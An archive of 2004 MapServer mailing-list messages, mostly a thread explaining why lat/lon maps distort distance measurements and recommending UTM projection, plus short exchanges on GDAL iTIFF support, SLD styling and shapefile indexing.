First, please ALWAYS reply to the = entire=20 list.  That way everyone benefits from the conversation, and = the=20 first person to answer your question doesn't have to make a = lifetime=20 commitment to further questions!
 
Yes, of course you can choose one = projection for=20 your entire set of data.  Or you could switch based on what = you're=20 mapping.  The reason there are so many map projections is = because=20 each has different properties, and therefore does some things well = and=20 other things less well.  The classic Mercator projection is = excellent=20 if you are navigating with a compass; it is very poor if you're = trying to=20 persuade someone that Brazil is several times larger than=20 Greenland.
 
You also need to have a feel for what = level of=20 accuracy you need for your measurements.  The UTM family of=20 projections is popular in part because it allows fairly accurate = distance=20 measurements, does not distort shapes badly, and is easy to = use. =20 However, you need 10 different UTM zones to cover the lower 48=20 states.  If you need even more accuracy a custom Transverse = Mercator=20 projection centered on the longitude of your central point = would be=20 better.
 
Mapping large areas in a single map is = harder to=20 do in an appealing way than mapping small areas, because spatial=20 distortion becomes more obvious.
 
If you can provide a bit more detail on = what=20 you're trying to do we can offer more advice.
 
    - = Ed

Ed McNierney
President and Chief=20 Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton = Street,=20 Suite 305
North Chelmsford, MA  = 01863
ed at topozone.com
(978)=20 251-4242


From: Map Guy=20 [mailto:mappington at yahoo.com]
Sent: Wednesday, March = 03, 2004=20 2:01 PM
To: Ed McNierney
Subject: RE:=20 [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of = data=20 which includes the whole United States (TIGER data). Or, do I = somehow have=20 to switch based on what I am mapping? If the latter is true, then = do you=20 have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong=20 direction.
 
Thank you,
 
Map Guy

Ed McNierney = <ed at topozone.com>=20 wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a = "geographic=20 projection" map it will not be a circle.  If you create a = map with=20 a 20-mile extent it will not be a square.
 
Maps using "geographic projection" are = useless for=20 making distance measurements; you simply cannot do them in any = kind of=20 sensible way.  The width of the top edge (east-west) of = your "20=20 mile" image is DIFFERENT than the width of the bottom = edge.  In=20 fact, each row of pixels running across the image has a = different width=20 in miles/feet/meters because they're all different distances = from the=20 Equator.  That's why the set of all points 8 miles from a = given=20 point is not a circle or ring; it's not even an=20 ellipse.
 
You need to choose a projected = coordinate system in=20 order to do reasonable distance = measurements.
 
    - Ed
 

Ed McNierney
President and Chief=20 Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton = Street,=20 Suite 305
North Chelmsford, MA =20 01863
ed at topozone.com
(978) 251-4242 =


From: Map Guy=20 [mailto:mappington at yahoo.com]
Sent: Wednesday, March = 03, 2004=20 12:21 PM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: = [Mapserver-users]=20 Distance Calculation

We use TIGER data for our mapping data source. We use a = geographic=20 projection (lat/lon). When we draw an 8 mile ring on a map with = a 20=20 mile extent, and we plot a point and calculate the distance = from=20 the center using Great Circle we get 7.5 miles. Using a = Cartesian=20 calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in = distances?
 
2. What is the correct way to draw a ring on a map using a=20 geographic projection (lat/lon) and display distances between = points=20 using Great Circle without the distance placing the point = incorrectly=20 inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to = ask=20 these questions.

Do you Yahoo!?
Yahoo! Search - Find what = you’re=20 looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re=20 looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking for=20 faster. ------_=_NextPart_001_01C402C2.C96D8482-- From warmerdam at pobox.com Fri Mar 5 07:04:40 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 05 Mar 2004 10:04:40 -0500 Subject: [Mapserver-users] GDal + itiff In-Reply-To: <000301c402b4$6bc8b120$d90510ac@aisgkk> References: <000301c402b4$6bc8b120$d90510ac@aisgkk> Message-ID: <40489708.9090909@pobox.com> Tomko wrote: > HI, > I have got few rasters to be displayed as iTIFFs, I believe that i tis a > Bentley or Leica related format. I searched GDAL i fit is supported and > did not find anything except of a confusing fix report from Frank. So I > do not know i fit is supported or not... Any ideas? Martin, I have had no problem with iTIFF files. To the best of my knowledge they are just nicely organized GeoTIFF files with tiling and overviews. There may be some extra tags ignored by GDAL but they don't seem to be critical to use. And in the one sample I have available, I didn't even see that. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From assefa at dmsolutions.ca Fri Mar 5 07:16:00 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Fri, 05 Mar 2004 10:16:00 -0500 Subject: [Mapserver-users] SLD Problems In-Reply-To: <6.0.1.1.2.20040305102252.0259fff0@gridg.grid.unep.ch> References: <6.0.1.1.2.20040305102252.0259fff0@gridg.grid.unep.ch> Message-ID: <404899B0.9000900@dmsolutions.ca> There is definitly nothing wrong with the your SLD document as it seems to work with tests data that I have here. I can not see anything wrong either in your map. Are you using a recent mapserver exe ? There is one dating froma couple of days on the maptools.org (take the developpment version) :http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html. If you still hav problems, tou can send me directly your map file and your data and I can setup a test here and see what might be wrong. Later, Stefan Schwarzer wrote: > Hi there, > > I am trying to change the layer properties via SLD. Although I think I > setup everything correctly, it just doesn't want to work. Could anyone > perhaps give me a hint on what I do wrong? See below the URL, the SLD > and the MAP file. The map displays, but not with the desired changes in > fill and stroke. > > Thanks for any help, > > Stefan > > > http://localhost/cgi-bin/mapserv_41.exe?SERVICE=WMS&VeRsIoN=1.1.1&Request=GetMap&map=E:/inetpub/wwwroot/wms_maps/wms.map&layers=boundaries&SLD=http//localhost/wms_maps/sld.xml > > > > > > > boundaries > > xxx > > > > > name="fill">#0000ff > > > name="stroke">#ff0000 > > > > > > > > > > > # > # Start of map file > # > > NAME boundaries > STATUS ON > SIZE 600 300 > EXTENT -180 -90 180 90 > UNITS DD > SHAPEPATH "data" > IMAGETYPE PNG > FONTSET etc/fonts.txt > > > > # Projection definition --------------------- > > PROJECTION > "init=epsg:4326" > proj=latlong > ellps=WGS84 > END > > # End Projection definition --------------------- > > > > # Web definition --------------------- > > WEB > HEADER demo_header.html > TEMPLATE demo.html > FOOTER demo_footer.html > > IMAGEPATH '../temp/' > IMAGEURL 'temp/' > > METADATA > "wms_title" "boundaries" > "wms_onlineresource" > "http://my_server/cgi-bin/mapserv_41.exe?map=E:/inetpub/wwwroot/wms_maps/wms.map?" > END > END > > # End Web definition --------------------- > > > > LAYER > NAME boundaries > TYPE POLYGON > STATUS ON > DATA boundaries > DUMP TRUE > CLASSITEM CNTRY_NAME > CLASS > NAME 'boundaries' > OUTLINECOLOR 0 0 0 > COLOR 100 100 100 > TEMPLATE 'dummy' > END > METADATA > wms_title "boundaries" > END > END > > END # Map File > > > > _______________________________________ > > *Stefan Schwarzer > * Consultant on GEO > > UNEP/DEWA/GRID-Geneva > Chemin des Anemones 11 > CH - 1219 Chatelaine > Switzerland > > Tel: (+41) 22.917.83.49 > Fax: (+41) 22.917.80.29 > > Email: stefan.schwarzer at grid.unep.ch > Internet: http://geodata.grid.unep.ch/ > _______________________________________ > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From stephen.clark at focus.ca Fri Mar 5 08:21:37 2004 From: stephen.clark at focus.ca (Stephen Clark) Date: Fri, 5 Mar 2004 08:21:37 -0800 Subject: [Mapserver-users] Indexing of Shapefiles References: Message-ID: <002a01c402cd$ef347440$6c000a0a@sclark> This is a multi-part message in MIME format. ------=_NextPart_000_0027_01C4028A.E0D0F6F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Indexing of ShapefilesRUN=20 shptree shapefile.shp at the command prompt=20 It will speed up the display of the shape file in mapserver. stephen ----- Original Message -----=20 From: Darren.Cope at statcan.ca=20 To: mapserver-users at lists.gis.umn.edu=20 Sent: Friday, March 05, 2004 6:38 AM Subject: [Mapserver-users] Indexing of Shapefiles Hi all,=20 I have several very large shapefiles that I wish to display. = Everything works fine, except that rending and querying take a _long_ = time. Does MapServer work with attribute indexes on shapefiles to speed = up queries? Spatial indexes to speed up queries? I have read about the = TILEINDEX but am not sure how this applies to a single large shapefile. Any help would be appreciated!=20 Thanks,=20 Darren Cope=20 Statistics Canada/Statistique Canada=20 Geography Division/Division de la g=E9ographie=20 Jean Talon 3D5=20 Ottawa, Canada=20 (613) 951-6461=20 ------=_NextPart_000_0027_01C4028A.E0D0F6F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Indexing of Shapefiles
RUN
 
shptree shapefile.shp
 
at the command prompt
 
It will speed up the display of the = shape file in=20 mapserver.
 
stephen
 
 
----- Original Message -----
From:=20 Darren.Cope at statcan.ca =
To: mapserver-users at lists.g= is.umn.edu=20
Sent: Friday, March 05, 2004 = 6:38=20 AM
Subject: [Mapserver-users] = Indexing of=20 Shapefiles

Hi all,

I=20 have several very large shapefiles that I wish to display.  = Everything=20 works fine, except that rending and querying take a _long_ time.  = Does=20 MapServer work with attribute indexes on shapefiles to speed up = queries? =20 Spatial indexes to speed up queries?  I have read about the = TILEINDEX but=20 am not sure how this applies to a single large shapefile.

Any help would be appreciated! =

Thanks,

Darren Cope =
Statistics Canada/Statistique = Canada=20
Geography Division/Division = de la=20 g=E9ographie
Jean = Talon 3D5=20
Ottawa, Canada =
(613) 951-6461 =

------=_NextPart_000_0027_01C4028A.E0D0F6F0-- From mappington at yahoo.com Fri Mar 5 07:18:28 2004 From: mappington at yahoo.com (Map Guy) Date: Fri, 5 Mar 2004 07:18:28 -0800 (PST) Subject: [Mapserver-users] Distance Calculation In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3EB0@mercator.topozone.com> Message-ID: <20040305151828.54802.qmail@web61101.mail.yahoo.com> --0-799690348-1078499908=:54257 Content-Type: text/plain; charset=us-ascii Ok. The extent unit needs to match the output projection unit. So if we have been working in lat/long decimal degrees, is it safe to do something like: mapRectObj.minx=MapXml->minx * 1855.398 * 60; // lat in degrees * 1' in m * 60' mapRectObj.miny=MapXml->miny * 1855.398 * 60; mapRectObj.maxx=MapXml->maxx * 1855.398 * 60; mapRectObj.maxy=MapXml->maxy * 1855.398 * 60; where MapXml->minx, etc. are in decimal degrees. Or, do we have to account for where these are in order to figure out the factor for conversion to meters? And, does the same thing go when we try to figure out the pixel coordinate, like in this case: centerPixelX=rint((MapXml->referencePoint->longitude - Map->extent.minx)/Scale); where MapXml->referencePoint->longitude is in decimal degrees. Thanks. Ed McNierney wrote: Mr. Guy - 1. If your output map images are to be in the UTM (or any other) projection, then your EXTENT needs to be expressed in the native units of that projection. So yes, you do need to express your EXTENT in meters. 2. You do NOT have to convert your data. Read the MapServer documentation about projections; you can have source data layers in any projection or as unprojected lat/lon degrees and MapServer will project the data on the fly to produce the output map. This works very well. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Friday, March 05, 2004 9:59 AM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation Thank you very much for your help so far. Up to this point we have been making all of calculations for our maps in lat/long degrees. So, for instance, our map extent is given in lat/long degrees. This acts as a window into our source geographic pjoection layers. Based on what you have said, we now want our output to be projected to UTM. Do we now need to convert all of our lat/long degrees to meters for this to work (what is a good way to do this, if so)? An example would be our map extent - does this now need to be in meters? Is there no way to specify everything in lat/long degrees for accessing our source data and then have the end result projected to UTM? Our map file (simplified) is at the end of this email. NAME MAPREQUEST SYMBOLSET "maprequest.sym" EXTENT -178.226733 18.914590 -66.953248 71.381356 # Set dynamically (Does this now need to be in meters?) SIZE 586 586 UNITS DD # What should this be? TRANSPARENT OFF FONTSET "maprequest.fon" IMAGECOLOR 204 255 255 IMAGETYPE PNG SHAPEPATH /layers/ PROJECTION "init=epsg:26915" END LAYER NAME "Boundary" DATA "cty90" STATUS ON TYPE POLYGON TEMPLATE "foo" CLASS COLOR 255 255 204 OUTLINECOLOR 255 255 204 END PROJECTION "proj=latlong" END END Thanks again! Ed McNierney wrote: Yes, that helps a lot. First, you MUST project your data if you're going to create a raster image of it, unless your users have ellipsoidal monitor screens . Using lat/lon coordinates as X/Y coordinates is a projection, too - it's just not a very useful one for most purposes. If you're going to measure distances you need appropriately projected maps. You might do best with the UTM projection family. It is simple, common, and easy to use. It is not an equidistant projection and there will be a VERY small distortion, but for areas as small as yours I think it will be completely invisible. There are other more accurate projections (equidistant conic, for example) that require more work on your part. You do, however, need to choose the appropriate UTM zone for each map you make, based on the longitude of the center point. If you try to make a map that is very small scale (showing a large portion of the country) it will look strange around the edges. But if you make maps of less than a few hundred miles in extent no one will notice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 3:29 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off. So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? Thanks and let me know if you need more detail to provide suggestions. Ed McNierney wrote: I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1 Thanks again. Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. If you can provide a bit more detail on what you're trying to do we can offer more advice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? Again, point me elsewhere if I am pushing in the wrong direction. Thank you, Map Guy Ed McNierney wrote: Dear Map Guy - If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. You need to choose a projected coordinate system in order to do reasonable distance measurements. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --0-799690348-1078499908=:54257 Content-Type: text/html; charset=us-ascii
Ok. The extent unit needs to match the output projection unit. So if we have been working in lat/long decimal degrees, is it safe to do something like:
 
    mapRectObj.minx=MapXml->minx * 1855.398 * 60; // lat in degrees * 1' in m * 60'
    mapRectObj.miny=MapXml->miny * 1855.398 * 60;
    mapRectObj.maxx=MapXml->maxx * 1855.398 * 60;
    mapRectObj.maxy=MapXml->maxy * 1855.398 * 60;
where MapXml->minx, etc. are in decimal degrees. Or, do we have to account for where these are in order to figure out the factor for conversion to meters?
 
And, does the same thing go when we try to figure out the pixel coordinate, like in this case:
 
    centerPixelX=rint((MapXml->referencePoint->longitude - Map->extent.minx)/Scale);
where MapXml->referencePoint->longitude is in decimal degrees.
 
Thanks.

Ed McNierney <ed at topozone.com> wrote:
Mr. Guy -
 
1. If your output map images are to be in the UTM (or any other) projection, then your EXTENT needs to be expressed in the native units of that projection.  So yes, you do need to express your EXTENT in meters.
 
2. You do NOT have to convert your data.  Read the MapServer documentation about projections; you can have source data layers in any projection or as unprojected lat/lon degrees and MapServer will project the data on the fly to produce the output map.  This works very well.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Friday, March 05, 2004 9:59 AM
To: Ed McNierney
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

Thank you very much for your help so far.
 
Up to this point we have been making all of calculations for our maps in lat/long degrees. So, for instance, our map extent is given in lat/long degrees. This acts as a window into our source geographic pjoection layers. Based on what you have said, we now want our output to be projected to UTM. Do we now need to convert all of our lat/long degrees to meters for this to work (what is a good way to do this, if so)? An example would be our map extent - does this now need to be in meters? Is there no way to specify everything in lat/long degrees for accessing our source data and then have the end result projected to UTM? Our map file (simplified) is at the end of this email.
 
NAME MAPREQUEST
SYMBOLSET "maprequest.sym"
EXTENT -178.226733 18.914590 -66.953248 71.381356 # Set dynamically (Does this now need to be in meters?)
SIZE  586 586
UNITS DD # What should this be?
TRANSPARENT OFF
FONTSET "maprequest.fon"
IMAGECOLOR  204 255 255
IMAGETYPE PNG
SHAPEPATH /layers/

PROJECTION
        "init=epsg:26915"
END
LAYER
        NAME "Boundary"
        DATA "cty90"
        STATUS ON
        TYPE POLYGON
        TEMPLATE "foo"
        CLASS
                COLOR 255 255 204
                OUTLINECOLOR  255 255 204
        END
        PROJECTION
                "proj=latlong"
        END
END

Thanks again!
 

Ed McNierney <ed at topozone.com> wrote:
Yes, that helps a lot.  First, you MUST project your data if you're going to create a raster image of it, unless your users have ellipsoidal monitor screens <g>.  Using lat/lon coordinates as X/Y coordinates is a projection, too - it's just not a very useful one for most purposes.  If you're going to measure distances you need appropriately projected maps.
 
You might do best with the UTM projection family.  It is simple, common, and easy to use.  It is not an equidistant projection and there will be a VERY small distortion, but for areas as small as yours I think it will be completely invisible.  There are other more accurate projections (equidistant conic, for example) that require more work on your part.
 
You do, however, need to choose the appropriate UTM zone for each map you make, based on the longitude of the center point.  If you try to make a map that is very small scale (showing a large portion of the country) it will look strange around the edges.  But if you make maps of less than a few hundred miles in extent no one will notice.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 3:29 PM
To: Ed McNierney
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off.
 
So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right?
 
Thanks and let me know if you need more detail to provide suggestions.


Ed McNierney <ed at topozone.com> wrote:
I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line.
 
As I said, if you can provide more detail we can offer more advice.  For example, if all your distances are at a "small scale", that's more detail (you didn't say that before).  That helps define the problem better and helps us suggest solutions.  Please describe the problem you're trying to solve and we'll help!
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 3:15 PM
To: Ed McNierney
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1
 
Thanks again.

Ed McNierney <ed at topozone.com> wrote:
First, please ALWAYS reply to the entire list.  That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions!
 
Yes, of course you can choose one projection for your entire set of data.  Or you could switch based on what you're mapping.  The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well.  The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland.
 
You also need to have a feel for what level of accuracy you need for your measurements.  The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use.  However, you need 10 different UTM zones to cover the lower 48 states.  If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better.
 
Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious.
 
If you can provide a bit more detail on what you're trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed McNierney
Subject: RE: [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed at topozone.com> wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic projection" map it will not be a circle.  If you create a map with a 20-mile extent it will not be a square.
 
Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way.  The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge.  In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator.  That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse.
 
You need to choose a projected coordinate system in order to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 12:21 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Distance Calculation

We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster. --0-799690348-1078499908=:54257-- From ed at topozone.com Fri Mar 5 07:21:13 2004 From: ed at topozone.com (Ed McNierney) Date: Fri, 5 Mar 2004 10:21:13 -0500 Subject: [Mapserver-users] Distance Calculation Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3EB3@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C402C5.7F02C354 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Sr. Guy - =20 No, that's not even close. You need to understand at least a little about the UTM projection in order to use it. The PROJ library is a good tool and the one MapServer uses - you can learn a LOT about it from the PROJ site at http://www.remotesensing.org/proj =20 And please introduce yourself to people who are spending quite a bit of time helping you - thanks! =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Friday, March 05, 2004 10:18 AM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation Ok. The extent unit needs to match the output projection unit. So if we have been working in lat/long decimal degrees, is it safe to do something like: =20 mapRectObj.minx=3DMapXml->minx * 1855.398 * 60; // lat in degrees * = 1' in m * 60' mapRectObj.miny=3DMapXml->miny * 1855.398 * 60; mapRectObj.maxx=3DMapXml->maxx * 1855.398 * 60; mapRectObj.maxy=3DMapXml->maxy * 1855.398 * 60; where MapXml->minx, etc. are in decimal degrees. Or, do we have to account for where these are in order to figure out the factor for conversion to meters? =20 And, does the same thing go when we try to figure out the pixel coordinate, like in this case: =20 centerPixelX=3Drint((MapXml->referencePoint->longitude - Map->extent.minx)/Scale); where MapXml->referencePoint->longitude is in decimal degrees. =20 Thanks. Ed McNierney wrote: Mr. Guy - =20 1. If your output map images are to be in the UTM (or any other) projection, then your EXTENT needs to be expressed in the native units of that projection. So yes, you do need to express your EXTENT in meters. =20 2. You do NOT have to convert your data. Read the MapServer documentation about projections; you can have source data layers in any projection or as unprojected lat/lon degrees and MapServer will project the data on the fly to produce the output map. This works very well. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Friday, March 05, 2004 9:59 AM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation =09 =09 Thank you very much for your help so far. =20 Up to this point we have been making all of calculations for our maps in lat/long degrees. So, for instance, our map extent is given in lat/long degrees. This acts as a window into our source geographic pjoection layers. Based on what you have said, we now want our output to be projected to UTM. Do we now need to convert all of our lat/long degrees to meters for this to work (what is a good way to do this, if so)? An example would be our map extent - does this now need to be in meters? Is there no way to specify everything in lat/long degrees for accessing our source data and then have the end result projected to UTM? Our map file (simplified) is at 